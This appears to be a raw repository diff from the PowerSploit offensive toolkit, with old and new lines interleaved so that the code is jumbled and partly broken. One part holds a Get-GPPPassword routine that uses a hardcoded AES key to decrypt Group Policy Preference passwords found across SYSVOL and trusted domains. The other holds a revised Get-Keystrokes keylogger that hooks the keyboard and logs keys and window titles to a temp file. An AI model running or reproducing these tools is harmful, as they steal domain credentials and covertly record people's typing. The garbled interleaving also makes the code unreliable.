'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
# Make sure System.Core is loaded
[System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
#define helper function to parse fields from xml files
function Get-GPPInnerFields {
}
catch { Write-Error $Error[0] }
}
# helper function to parse fields from xml files
function Get-GPPInnerField {
[CmdletBinding()]
Param (
$File
$File
)
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Cpassword = @()
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Services.xml' {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'DataSources.xml' {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Printers.xml' {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
$Password = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
}
if ($_.newName) {
$NewName = $_.newName
}
if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}
try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
}
try {
$NodeName = $_.ParentNode.ParentNode.LocalName
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
}
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
$GPPPassword = New-Object PSObject
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
$GPPPassword | Add-Member Noteproperty 'Password' $Password
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
$GPPPassword | Add-Member Noteproperty 'File' $File
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
$GPPPassword
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject) {Return $ResultsObject}
}
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
}
}
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
function Get-DomainTrust {
[CmdletBinding()]
Param (
$Domain
)
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
try {
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
if ($DomainObject) {
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
}
try {
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
if ($ForestObject) {
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
}
}
catch {
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
}
}
}
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
function Get-DomainTrustMapping {
[CmdletBinding()]
Param ()
# keep track of domains seen so we don't hit infinite recursion
$SeenDomains = @{}
# our domain stack tracker
$Domains = New-Object System.Collections.Stack
try {
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
$CurrentDomain
}
catch {
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
}
catch {Write-Error $Error[0]}
if ($CurrentDomain -and $CurrentDomain -ne '') {
$Domains.Push($CurrentDomain)
while($Domains.Count -ne 0) {
$Domain = $Domains.Pop()
# if we haven't seen this domain before
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
# mark it as seen in our list
$Null = $SeenDomains.Add($Domain, '')
try {
# get all the domain/forest trusts for this domain
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
# only output if we haven't already seen this domain and if it's pingable
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
$Null = $Domains.Push($_)
$_
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
$XMLFiles = @()
$Domains = @()
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
$AllUsers = $Env:ALLUSERSPROFILE
if (-not $AllUsers) {
$AllUsers = 'C:\ProgramData'
}
# discover any locally cached GPP .xml files
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
if ($SearchForest) {
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
$Domains += Get-DomainTrustMapping
}
else {
if ($Server) {
$Domains += , $Server
}
else {
# in case we're in a SYSTEM context
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
}
}
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
ForEach ($Domain in $Domains) {
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
if($DomainXMLFiles) {
$XMLFiles += $DomainXMLFiles
}
}
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}
catch {Write-Error $Error[0]}
catch { Write-Error $Error[0] }
}
+304 -188
View File
@@ -1,11 +1,12 @@
function Get-Keystrokes {
<#
.SYNOPSIS
Logs keys pressed, time and the active window.
PowerSploit Function: Get-Keystrokes
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
Revised By: Jesse Davis (@secabstraction)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
@@ -14,13 +15,13 @@ function Get-Keystrokes {
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
.PARAMETER CollectionInterval
.PARAMETER Timeout
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
.PARAMETER PollingInterval
.PARAMETER PassThru
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes.
.EXAMPLE
@@ -28,234 +29,349 @@ function Get-Keystrokes {
.EXAMPLE
Get-Keystrokes -CollectionInterval 20
.EXAMPLE
Get-Keystrokes -PollingInterval 35
Get-Keystrokes -Timeout 20
.LINK
http://www.obscuresec.com/
http://www.exploit-monday.com/
https://github.com/secabstraction
#>
[CmdletBinding()] Param (
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})]
[String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)]
[UInt32]
$CollectionInterval,
[Double]$Timeout,
[Parameter(Position = 2)]
[Int32]
$PollingInterval = 40
[Parameter()]
[Switch]$PassThru
)
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
Write-Verbose "Logging keystrokes to $LogPath"
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Initilizer = {
$LogPath = 'REPLACEME'
$Script = {
Param (
[Parameter(Position = 0)]
[String]$LogPath,
'"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode
[Parameter(Position = 1)]
[Double]$Timeout
)
function KeyLog {
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
function local:Get-DelegateType {
Param (
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
try
{
$ImportDll = [User32]
}
catch
{
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
$TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
Param (
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$FieldArray = [Reflection.FieldInfo[]] @(
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
$GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
$FieldValueArray = [Object[]] @(
'GetAsyncKeyState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
#region Imports
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
$FieldValueArray = [Object[]] @(
'GetKeyboardState',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
$FieldValueArray = [Object[]] @(
'MapVirtualKey',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# SetWindowsHookEx
$SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
$SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr])
$SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate)
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
$FieldValueArray = [Object[]] @(
'ToUnicode',
$False,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# CallNextHookEx
$CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
$CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr])
$CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate)
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
$FieldValueArray = [Object[]] @(
'GetForegroundWindow',
$True,
$False,
$True,
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto
)
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
# UnhookWindowsHookEx
$UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx
$UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void])
$UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate)
$ImportDll = $TypeBuilder.CreateType()
}
# PeekMessage
$PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA
$PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void])
$PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate)
Start-Sleep -Milliseconds $PollingInterval
# GetAsyncKeyState
$GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState
$GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16])
$GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate)
try
{
# GetForegroundWindow
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
#loop through typeable characters to see which is pressed
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
{
$VirtualKey = $TypeableChar
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
# GetWindowText
$GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA
$GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void])
$GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate)
#if the key is pressed
if (($KeyResult -band 0x8000) -eq 0x8000)
{
# GetModuleHandle
$GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
$GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
$GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
#endregion Imports
#check for keys not mapped by virtual keyboard
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
$CallbackScript = {
Param (
[Parameter()]
[Int32]$Code,
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
if ($TabKey) {$LogOutput += '[Tab]'}
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
if ($DeleteKey) {$LogOutput += '[Delete]'}
if ($EnterKey) {$LogOutput += '[Enter]'}
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
[Parameter()]
[IntPtr]$wParam,
#check for capslock
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
[Parameter()]
[IntPtr]$lParam
)
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
$KeyboardState = New-Object Byte[] 256
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
$Keys = [Windows.Forms.Keys]
$MsgType = $wParam.ToInt32()
#create a stringbuilder object
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
# Process WM_KEYDOWN & WM_SYSKEYDOWN messages
if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) {
$hWindow = $GetForegroundWindow.Invoke()
#convert typed characters
if ($UnicodeKey -gt 0) {
$TypedCharacter = $StringBuilder.ToString()
$LogOutput += ('['+ $TypedCharacter +']')
}
$ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey)
if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true }
else { $Shift = $false }
#get the title of the foreground window
$TopWindow = $ImportDll::GetForegroundWindow()
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
$Caps = [Console]::CapsLock
#get the current DTG
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
#Create a custom object to store results
$ObjectProperties = @{'Key Typed' = $LogOutput;
'Time' = $TimeStamp;
'Window Title' = $WindowTitle}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
#return results
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
# Read virtual-key from buffer
$vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam)
# Parse virtual-key
if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters
if ($Shift -xor $Caps) { $Key = $vKey.ToString() }
else { $Key = $vKey.ToString().ToLower() }
}
elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters
switch ($vKey.value__) {
96 { $Key = '0' }
97 { $Key = '1' }
98 { $Key = '2' }
99 { $Key = '3' }
100 { $Key = '4' }
101 { $Key = '5' }
102 { $Key = '6' }
103 { $Key = '7' }
104 { $Key = '8' }
105 { $Key = '9' }
106 { $Key = "*" }
107 { $Key = "+" }
108 { $Key = "|" }
109 { $Key = "-" }
110 { $Key = "." }
111 { $Key = "/" }
}
}
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) {
switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' }
49 { $Key = '!' }
50 { $Key = '@' }
51 { $Key = '#' }
52 { $Key = '$' }
53 { $Key = '%' }
54 { $Key = '^' }
55 { $Key = '&' }
56 { $Key = '*' }
57 { $Key = '(' }
186 { $Key = ':' }
187 { $Key = '+' }
188 { $Key = '<' }
189 { $Key = '_' }
190 { $Key = '>' }
191 { $Key = '?' }
192 { $Key = '~' }
219 { $Key = '{' }
220 { $Key = '|' }
221 { $Key = '}' }
222 { $Key = '<Double Quotes>' }
}
}
else {
switch ($vKey.value__) {
48 { $Key = '0' }
49 { $Key = '1' }
50 { $Key = '2' }
51 { $Key = '3' }
52 { $Key = '4' }
53 { $Key = '5' }
54 { $Key = '6' }
55 { $Key = '7' }
56 { $Key = '8' }
57 { $Key = '9' }
186 { $Key = ';' }
187 { $Key = '=' }
188 { $Key = ',' }
189 { $Key = '-' }
190 { $Key = '.' }
191 { $Key = '/' }
192 { $Key = '`' }
219 { $Key = '[' }
220 { $Key = '\' }
221 { $Key = ']' }
